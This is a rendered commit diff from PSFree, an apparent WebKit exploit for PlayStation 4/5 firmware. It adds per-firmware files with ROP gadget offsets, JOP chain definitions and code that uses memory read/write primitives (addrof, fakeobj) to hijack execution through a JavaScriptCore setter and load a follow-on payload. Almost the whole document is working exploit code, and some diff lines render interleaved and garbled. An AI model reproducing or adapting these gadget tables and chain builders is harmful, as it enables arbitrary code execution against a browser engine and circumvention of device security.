if (0x600 <= config.target && config.target < 0x650) { // All supported PS5 versions
return 0x58; if (!is_ps4) {
}
// PS4 9.xx and all supported PS5 versions
if (config.target >= 0x900) {
return 0x50; return 0x50;
} }
if (0x650 <= config.target && config.target < 0x900) { // PS4
if (0x600 <= version && version < 0x650) {
return 0x58;
}
if (0x650 <= version && version < 0x900) {
return 0x48; return 0x48;
} }
if (0x900 <= version) {
return 0x50;
}
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
})(); })();
// these constants are expected to be divisible by 2 // these constants are expected to be divisible by 2
@@ -454,7 +458,7 @@ async function make_rdr(view) {
log(`view's buffer address: ${addr}`); log(`view's buffer address: ${addr}`);
return new Reader(rstr, view); return new Reader(rstr, view);
} }
die("JSString wasn't modified"); die('JSString wasn\'t modified');
} }
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array // we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
@@ -856,7 +860,6 @@ async function main() {
await make_arw(rdr, view2, pop); await make_arw(rdr, view2, pop);
clear_log(); clear_log();
// path to your script that will use the exploit import('./lapse.mjs');
import('./code.mjs');
} }
main(); main();

View File

@@ -15,18 +15,20 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */ along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { mem } from '/module/mem.mjs'; // 8.00, 8.01, 8.03
import { KB } from '/module/offset.mjs';
import { ChainBase, get_gadget } from '/module/chain.mjs'; import { mem } from '../../module/mem.mjs';
import { BufferView } from '/module/rw.mjs'; import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import { import {
get_view_vector, get_view_vector,
resolve_import, resolve_import,
init_syscall_array, init_syscall_array,
} from '/module/memtools.mjs'; } from '../../module/memtools.mjs';
import * as off from '/module/offset.mjs'; import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions // WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8; const offset_wk_stack_chk_fail = 0x8d8;
@@ -82,39 +84,39 @@ const jop5 = 'pop rsp; ret';
// pop rbp // pop rbp
const webkit_gadget_offsets = new Map(Object.entries({ const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000035a1b, 'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
'pop rbx; ret' : 0x000000000001537c, 'pop rbx; ret' : 0x000000000001537c, // `5b c3`
'pop rcx; ret' : 0x0000000000025ecb, 'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
'pop rdx; ret' : 0x0000000000060f52, 'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, 'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000003bd77, 'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
'pop rdi; ret' : 0x00000000001e3f87, 'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
'pop rsp; ret' : 0x00000000000bf669, 'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
'pop r8; ret' : 0x0000000000097442, 'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
'pop r9; ret' : 0x00000000006f501f, 'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
'pop r10; ret' : 0x0000000000060f51, 'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
'pop r11; ret' : 0x0000000000d2a629, 'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
'pop r12; ret' : 0x0000000000d8968d, 'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
'pop r13; ret' : 0x00000000016ccff1, 'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
'pop r14; ret' : 0x000000000003bd76, 'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
'pop r15; ret' : 0x00000000002499df, 'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
'ret' : 0x0000000000000032, 'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000291fd7, 'leave; ret' : 0x0000000000291fd7, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, 'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, 'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, 'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, 'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
[jop1] : 0x0000000001988320, [jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2] : 0x000000000076b970, [jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3] : 0x0000000000f62f95, [jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4] : 0x00000000021af6ad, [jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
[jop5] : 0x00000000000bf669, [jop5] : 0x00000000000bf669, // `5c c3`
})); }));
const libc_gadget_offsets = new Map(Object.entries({ const libc_gadget_offsets = new Map(Object.entries({

261
src/rop/ps4/850.mjs Normal file
View File

@@ -0,0 +1,261 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50, 8.52
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
const offset_wk_strlen = 0x918;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000001ba53, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x25904,
'setcontext' : 0x29c38,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0x10750,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x236d4a0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x153c0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4ef40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain850Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain850 extends Chain850Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain850;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

261
src/rop/ps4/900.mjs Normal file
View File

@@ -0,0 +1,261 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00, 9.03, 9.04
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_strlen = 0x198;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000008db5b, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x24f04,
'setcontext' : 0x29448,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0xCB80,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2e73c18;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x1ff60;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4fa40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain900Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain900 extends Chain900Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain900;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

262
src/rop/ps4/950.mjs Normal file
View File

@@ -0,0 +1,262 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_strlen = 0x198;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
// Not found in 9.50-9.60, but not currently used in exploit
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000056322, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x21284,
'setcontext' : 0x254dc,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0xbb60,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2ebea68;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x28870;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4c040;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain950Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain950 extends Chain950Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain950;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

0
src/rop/ps5/.gitinclude Normal file
View File